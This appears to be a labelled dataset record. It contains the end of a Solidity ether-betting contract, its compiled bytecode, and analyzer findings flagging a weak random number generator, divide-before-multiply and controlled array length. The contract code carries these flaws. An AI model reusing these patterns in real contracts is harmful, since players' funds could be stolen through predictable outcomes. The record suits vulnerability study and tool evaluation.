if (bIDBet_[_bID].isActivated == true) { rID++; rIDBet_[rID].rID = rID; rIDBet_[rID].bID = _bID; rIDBet_[rID].total = _total; rIDBet_[rID].current = 0; rIDBet_[rID].ethAmount = 0; rIDBet_[rID].maskHash = _maskHash; rIDBet_[rID].playerCode = 0; bIDrID_[_bID] = rID; emit onOpenNewRound(_bID, rID, rIDBet_[rID].total, rIDBet_[rID].current, rIDBet_[rID].ethAmount, now); emit RoundMask(rID, _maskHash); } else { bIDrID_[_bID] = 0; } } function withdrawEarnings(uint256 _pID) private returns(uint256) { uint256 _earnings = pIDPlayer_[_pID].balance; if (_earnings > 0) { pIDPlayer_[_pID].balance = 0; } return(_earnings); } } library OneEtherDatasets { struct BetInfo { uint256 bID; address owner; uint256 check; uint256 unit; bool isActivated; } struct BetState { uint256 rID; uint256 bID; uint256 total; uint256 current; uint256 ethAmount; bytes32 maskHash; uint256 playerCode; } struct Player { address addr; uint256 balance; uint256 invator; uint256 agent; } struct Stake { uint256 start; uint256 end; uint256 pID; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x, 1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z), z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x, x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) return (0); else if (y == 0) return (1); else { uint256 z = x; for (uint256 i = 1; i < y; i++) z = mul(z, x); return (z); } } }
0x6080604052600436106101b65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304b7057681146101bb5780630f15f4c0146101de57806310db48be146101f35780631bf498b614610226578063331b7698146102475780633ccfd60b1461029457806343d726d6146102a95780634b8f7416146102be5780634baa39be1461030e5780634ead47711461032c57806359c281da146103915780635c57190c146103ac57806361d49ea8146103c45780636de0b375146103e2578063717ab112146103fa5780638eec99c81461040f57806396b15c0b146104305780639b6ed77714610445578063a1804e671461045a578063a24beff71461046b578063a3f4df7e14610483578063a654ecd514610498578063b78ce8ee146104ad578063bbc6df30146104c5578063c3031fac146104dd578063c77c00f814610516578063c81c198c1461053d578063c8cfb03214610585578063cf53d630146105bf578063d53b267914610614578063e941fa781461063d578063f2ba26b914610652578063f4514ca614610686578063f76f8d7814610483578063fb3551ff1461069d575b600080fd5b3480156101c757600080fd5b506101dc600160a060020a03600435166106be565b005b3480156101ea57600080fd5b506101dc610752565b3480156101ff57600080fd5b50610214600160a060020a036004351661080c565b60408051918252519081900360200190f35b34801561023257600080fd5b506101dc600160a060020a036004351661081e565b34801561025357600080fd5b5061025f60043561093a565b60408051958652600160a060020a03909416602086015284840192909252606084015215156080830152519081900360a00190f35b3480156102a057600080fd5b506101dc610976565b3480156102b557600080fd5b506101dc610ae4565b3480156102ca57600080fd5b506102d6600435610b9f565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561031a57600080fd5b506101dc600435602435604435610bdc565b34801561033857600080fd5b50610341610dbe565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561037d578181015183820152602001610365565b505050509050019250505060405180910390f35b34801561039d57600080fd5b506101dc600435602435610e17565b3480156103b857600080fd5b50610214600435610ff2565b3480156103d057600080fd5b506101dc600435602435604435611004565b3480156103ee57600080fd5b506101dc600435611560565b34801561040657600080fd5b506102146116b6565b34801561041b57600080fd5b506101dc600160a060020a03600435166116bc565b34801561043c57600080fd5b506102146116f5565b34801561045157600080fd5b506102146116fb565b6101dc600435602435604435611701565b34801561047757600080fd5b506101dc600435611c2c565b34801561048f57600080fd5b50610214611d35565b3480156104a457600080fd5b50610214611d59565b3480156104b957600080fd5b50610214600435611d5f565b3480156104d157600080fd5b506102d6600435611d7e565b3480156104e957600080fd5b506104f8600435602435611dbb565b60408051938452602084019290925282820152519081900360600190f35b34801561052257600080fd5b506101dc600160a060020a0360043516602435604435611dfc565b34801561054957600080fd5b506105556004356120e7565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b34801561059157600080fd5b506105a6600160a060020a0360043516612118565b6040805192835260208301919091528051918290030190f35b3480156105cb57600080fd5b506105d7600435612146565b604080519687526020870195909552600160a060020a039093168585015260608501919091526080840152151560a0830152519081900360c00190f35b34801561062057600080fd5b50610629612191565b604080519115158252519081900360200190f35b34801561064957600080fd5b506101dc61219a565b34801561065e57600080fd5b5061066a600435612226565b60408051600160a060020a039092168252519081900360200190f35b6101dc600435602435604435606435608435612241565b3480156106a957600080fd5b50610214600160a060020a03600435166126ce565b600154600090600160a060020a03163314610711576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b50600160a060020a038116600090815260086020526040902054801561074e576000818152600e602052604090208054600160a060020a03191690555b5050565b600154600160a060020a031633146107a2576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b60035460ff16156107fd576040805160e560020a62461bcd02815260206004820152601360248201527f7468652067616d652069732072756e6e696e6700000000000000000000000000604482015290519081900360640190fd5b6003805460ff19166001179055565b60086020526000908152604090205481565b600154600090600160a060020a03163314610871576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b50600160a060020a03811660009081526008602052604090205480151561090d57600680546001908101808355600160a060020a0385166000818152600860209081526040808320859055938252600c81528382208054600160a060020a03199081168517909155865483528483209095018290558554825283822060030182905594548152600e90945292208054909116909117905561074e565b6000818152600e602052604090208054600160a060020a038416600160a060020a03199091161790555050565b600960205260009081526040902080546001820154600283015460038401546004909401549293600160a060020a039092169290919060ff1685565b6003546000908190819060ff1615156001146109dc576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b3360009081526008602052604090205442935091508115610adf57610a0082612710565b905060008111610a5a576040805160e560020a62461bcd02815260206004820152601360248201527f6e6f20616e792062616c616e6365206c65667400000000000000000000000000604482015290519081900360640190fd5b6000828152600c6020526040808220549051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610a9e573d6000803e3d6000fd5b5060408051828152602081018590528151339285927fee898eacf688f6932b2234d6e6467430ce81a75c69d0805ca79399e195cd6663929081900390910190a35b505050565b600154600160a060020a03163314610b34576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b60035460ff161515600114610b93576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b6003805460ff19169055565b600b602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154949593949293919290919087565b600066038d7ea4c680008310158015610bff575069065a4da25d3016c000008311155b1515610c55576040805160e560020a62461bcd02815260206004820152600c60248201527f6f7574206f662072616e67650000000000000000000000000000000000000000604482015290519081900360640190fd5b5060008381526009602052604090205433901515610cab576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0382811691161480610cfc575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515610d40576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612d51833981519152604482015290519081900360640190fd5b60008481526009602090815260408083206002810187905560030185905560055480845292819020600101548151600160a060020a039091168152918201869052818101859052426060830152517fbc32fec5748f86214c69e4ef7e6fed603b60df94c24180a4b627e360a28b33429181900360800190a250505050565b6060600f805480602002602001604051908101604052809291908181526020018280548015610e0c57602002820191906000526020600020905b815481526020019060010190808311610df8575b505050505090505b90565b600082815260096020526040812054839015801590610e4c575060008181526009602052604090206004015460ff1615156001145b1515610e90576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b6005546000908152600960205260409020543392501515610ee9576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0383811691161480610f3a575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515610f7e576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612d51833981519152604482015290519081900360640190fd5b6000848152600d602052604090205415610fe2576040805160e560020a62461bcd02815260206004820152601f60248201527f4f6e65204265742063616e206f6e6c79206f70656e206f6e6520726f756e6400604482015290519081900360640190fd5b610fec8484612743565b50505050565b600d6020526000908152604090205481565b6000838152600b6020526040812054819081908190819081908190819081901515611079576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b60008c8152600b602090815260408083206001015480845260099092529091205490995015156110e1576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b600089815260096020526040902060010154600160a060020a03163314806111135750600154600160a060020a031633145b151561118f576040805160e560020a62461bcd02815260206004820152602660248201527f63616e206f6e6c792062652072657665616c65642062792061646d696e206f7260448201527f206f776e65720000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8a604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106111de5780518252601f1990920191602091820191016111bf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209750600b60008d815260200190815260200160002060050154600019168860001916141515611284576040805160e560020a62461bcd02815260206004820152601e60248201527f73637265744b6579206973206e6f74206d61746368206d61736b486173680000604482015290519081900360640190fd5b60008c8152600b6020908152604091829020600281015460069091015483518084018d905280850191909152434201606080830191909152845180830390910181526080909101938490528051919a5092918291908401908083835b602083106112ff5780518252601f1990920191602091820191016112e0565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912098508992508891505081151561133a57fe5b06600101945060009350600092505b60008c8152600a60205260409020548310156114085760008c8152600a6020526040902080548490811061137957fe5b90600052602060002090600302016000015485101580156113c5575060008c8152600a602052604090208054849081106113af57fe5b9060005260206000209060030201600101548511155b156113fd5760008c8152600a602052604090208054849081106113e457fe5b9060005260206000209060030201600201549350611408565b600190920191611349565b60008c8152600b60209081526040808320600401548c845260099092529091206002015490925060649061144390600363ffffffff6128b716565b81151561144c57fe5b6000868152600c60205260409020600101549190049150611473908363ffffffff61292e16565b6000858152600c6020908152604091829020600181019390935591548151600160a060020a039091168152918201849052818101839052606082018d9052608082018790524260a0830152518d917f04a377b83c50c3112030b5cec70aa3cfed91b5f4009162f2a646ebcde50276d9919081900360c00190a260008c8152600b602090815260408083208381556001810184905560028101849055600381018490556004810184905560058101849055600601839055600a909152812061153991612cdf565b6000898152600d6020526040812055611552898b612743565b505050505050505050505050565b600554600090815260096020526040902054339015156115b8576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0382811691161480611609575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b151561164d576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612d51833981519152604482015290519081900360640190fd5b6000828152600960205260409020600401805460ff191690556040805160e560020a62461bcd02815260206004820152601360248201527f5468697320626574206973206f70656e696e6700000000000000000000000000604482015290519081900360640190fd5b60065481565b600054600160a060020a031633146116d357600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b60055481565b60075481565b3360009081526008602052604081205490808083151561176b576040805160e560020a62461bcd02815260206004820152601f60248201527f706c61796572206e6f7420666f756e64656420696e20636f6e74726163742000604482015290519081900360640190fd5b6000878152600b602052604090205415156117d0576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b6000878152600b60209081526040808320600101548084526009909252909120549093501515611838576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b6000848152600c60209081526040808320600101548a8452600b909252909120600201549092508611156118b6576040805160e560020a62461bcd02815260206004820152601960248201527f6b6579206d757374206e6f74206265796f6e64206c696d697400000000000000604482015290519081900360640190fd5b60008381526009602052604090206003015482101561191f576040805160e560020a62461bcd02815260206004820152601660248201527f746f6f20736d616c6c20666f7220746869732062657400000000000000000000604482015290519081900360640190fd5b600083815260096020526040902060030154860282101561198a576040805160e560020a62461bcd02815260206004820152601260248201527f6e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b655af3107a400085106119e7576040805160e560020a62461bcd02815260206004820152601d60248201527f796f75722072616e646f6d206e756d62657220697320746f6f20626967000000604482015290519081900360640190fd5b6000878152600b60205260409020600281015460039091015487011115611a58576040805160e560020a62461bcd02815260206004820152600e60248201527f796f75206265796f6e64206b6579000000000000000000000000000000000000604482015290519081900360640190fd5b600083815260096020908152604080832060030154878452600c90925290912060010154611a8d91880263ffffffff61298916565b6000858152600c6020908152604080832060010193909355858252600990522060030154611abe90859088026129e9565b9050611acb848888612b6c565b6000878152600b6020526040902060030154611aed908763ffffffff61292e16565b6000888152600b60205260409020600381019190915560040154611b17908263ffffffff61292e16565b6000888152600b60205260409020600481019190915560060154611b41908663ffffffff61292e16565b6000888152600b6020908152604080832060060193909355868252600c81529082902080546002909101548351600160a060020a0390921682529181018490528083018990526060810188905260808101919091524260a08201529051889185917f5b324661b09e34246f7bae6ec3b9a4d912f91d5f2d7074b8ca6404674a1b3b7d9181900360c00190a36000878152600b6020526040902060028101546003909101541415611c2357604080514281529051889185917f4c990201c2919f7b317d8cd9772f9bf0809028eec5f8fe4fa834bd3fed9ed4e49181900360200190a35b50505050505050565b60055460009081526009602052604090205433901515611c84576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0382811691161480611cd5575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515611d19576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612d51833981519152604482015290519081900360640190fd5b506000908152600960205260409020600401805460ff19169055565b7f4f6e65457468657200000000000000000000000000000000000000000000000081565b60025481565b600f805482908110611d6d57fe5b600091825260209091200154905081565b6000908152600b60205260409020805460018201546002830154600384015460048501546005860154600690960154949693959294919390929190565b600a60205281600052604060002081815481101515611dd657fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b600154600090600160a060020a03163314611e4f576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b60035460ff161515600114611eae576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b66038d7ea4c680008310158015611ecf575069065a4da25d3016c000008311155b1515611f25576040805160e560020a62461bcd02815260206004820152600c60248201527f6f7574206f662072616e67650000000000000000000000000000000000000000604482015290519081900360640190fd5b60028202831015611f80576040805160e560020a62461bcd02815260206004820152601760248201527f756e6974206f66207061796d656e742064656e6e696564000000000000000000604482015290519081900360640190fd5b50600580546001019081905560008181526009602052604090205542600160a060020a0384161515611fe6576001805460055460009081526009602052604090209091018054600160a060020a031916600160a060020a03909216919091179055612014565b60055460009081526009602052604090206001018054600160a060020a031916600160a060020a0386161790555b6005805460009081526009602090815260408083206002018790558354835280832060030186905583548352808320600401805460ff191660019081179091559354600f80548087019091557f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020181905580845292819020909301548351600160a060020a03909116815290810186905280830185905260608101849052915190917ff2e220cf825d217203c7d359235d871cf14d635f88bc18ce235ee5132b94cbc7919081900360800190a250505050565b600c602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909184565b600160a060020a0316600090815260086020908152604080832054808452600c909252909120600101549091565b6000908152600d60209081526040808320546009909252909120805460018201546002830154600384015460049094015494959294600160a060020a03909216939092909160ff1690565b60035460ff1681565b600154600090600160a060020a031633146121ed576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612d71833981519152604482015290519081900360640190fd5b50600480546000918290556040519091339183156108fc0291849190818181858888f1935050505015801561074e573d6000803e3d6000fd5b600e60205260009081526040902054600160a060020a031681565b6000858152600b60205260408120548190819015156122aa576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b6000888152600b60209081526040808320600101548084526009909252909120549093501515612312576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612d91833981519152604482015290519081900360640190fd5b6000888152600b602052604090206002015487111561237b576040805160e560020a62461bcd02815260206004820152601960248201527f6b6579206d757374206e6f74206265796f6e64206c696d697400000000000000604482015290519081900360640190fd5b6000838152600960205260409020600301543410156123e4576040805160e560020a62461bcd02815260206004820152601660248201527f746f6f20736d616c6c20666f7220746869732062657400000000000000000000604482015290519081900360640190fd5b6000838152600960205260409020600301548702341461244e576040805160e560020a62461bcd02815260206004820152601260248201527f6e6f7420656e6f756768207061796d656e740000000000000000000000000000604482015290519081900360640190fd5b655af3107a400086106124ab576040805160e560020a62461bcd02815260206004820152601d60248201527f796f75722072616e646f6d206e756d62657220697320746f6f20626967000000604482015290519081900360640190fd5b6124b58585612be2565b6000898152600b6020526040902060028101546003909101549193509088011161264c576124e382346129e9565b90506124f0828989612b6c565b6000888152600b6020526040902060030154612512908863ffffffff61292e16565b6000898152600b6020526040902060038101919091556004015461253c908263ffffffff61292e16565b6000898152600b60205260409020600481019190915560060154612566908763ffffffff61292e16565b6000898152600b6020908152604080832060060193909355848252600c81529082902080546002909101548351600160a060020a0390921682529181018490528083018a90526060810189905260808101919091524260a08201529051899185917f5b324661b09e34246f7bae6ec3b9a4d912f91d5f2d7074b8ca6404674a1b3b7d9181900360c00190a36000888152600b6020526040902060028101546003909101541061264757604080514281529051899185917f4c990201c2919f7b317d8cd9772f9bf0809028eec5f8fe4fa834bd3fed9ed4e49181900360200190a35b6126c4565b6000828152600c602052604090206001015461266e903463ffffffff61292e16565b6000838152600c6020908152604091829020600101929092558051348152429281019290925280518a9285927f9788adba038de75934212f990d83caf607ae4434d0a2ee1a8761eab68126b4d492918290030190a35b5050505050505050565b600160a060020a03808216600090815260086020908152604080832054808452600e9092528220549192909116156127065780612709565b60005b9392505050565b6000818152600c60205260408120600101548181111561273d576000838152600c60205260408120600101555b92915050565b6000828152600960205260408120600381015460029091015481151561276557fe5b600085815260096020526040902060040154919004915060ff161515600114156128a4576007805460019081018083556000818152600b6020818152604080842094855593909401889055845482528282206002908101879055855483528383206003908101849055865484528484206004908101859055875485528585206005018a90558754855285852060060185905596548a8552600d8752858520819055808552928652928490209081015492810154950154835192835293820194909452808201929092524260608301525185917f5a8aa1a17b8fc49234218cb19e58e9c115c83c7c7a3ce78b6f763cae8bda29f8919081900360800190a3600754604080519182526020820184905280517f97643223266a8ff2acef23f0ef956c2d74b6560ee457d1dc055942762995b5379281900390910190a1610adf565b50506000908152600d6020526040812055565b60008215156128c85750600061273d565b508181028183828115156128d857fe5b041461273d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b8181018281101561273d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000828211156129e3576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b60008080808080806064612a0489600363ffffffff6128b716565b811515612a0d57fe5b049550612a20888763ffffffff61298916565b60008a8152600c602052604090206002015490955093508315612aa4576064612a5087603c63ffffffff6128b716565b811515612a5957fe5b049250612a6c868463ffffffff61298916565b6000858152600c6020526040902060010154909650612a91908463ffffffff61292e16565b6000858152600c60205260409020600101555b6000898152600c602052604090206003015491508115801590612add57506000828152600e6020526040902054600160a060020a031615155b15612b49576064612af587603263ffffffff6128b716565b811515612afe57fe5b049050612b11868263ffffffff61298916565b6000838152600c6020526040902060010154909650612b36908263ffffffff61292e16565b6000838152600c60205260409020600101555b600454612b5c908763ffffffff61292e16565b6004555092979650505050505050565b6000612b76612d03565b50506000828152600b6020908152604080832060039081015482516060810184526001808301825296909101818501908152818401988952968552600a845291842080548087018255908552929093209051919092029091019081559151908201559051600290910155565b33600090815260086020526040812054801515612cd457600680546001908101808355336000818152600860209081526040808320859055938252600c90528281208054600160a060020a03191690921790915583548152818120909201829055915481528181206003018190558581522054600160a060020a031615612c9557600680546000908152600c60205260408082206002018790558682528082206003908101549354835291200155612cca565b6000838152600e6020526040902054600160a060020a031615612cca576006546000908152600c602052604090206003018390555b6006549150612cd8565b8091505b5092915050565b5080546000825560030290600052602060002090810190612d009190612d25565b50565b6060604051908101604052806000815260200160008152602001600081525090565b610e1491905b80821115612d4c576000808255600182018190556002820155600301612d2b565b509056005065726d697373696f6e2064656e6965640000000000000000000000000000006974732063616e206f6e6c792062652063616c6c2062792061646d696e00000063616e742066696e642074686973206265740000000000000000000000000000a165627a7a72305820c65abd0ab896da631addf7aa099ee9e21263cb94f5c554508b2e1bef7ddc30540029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
299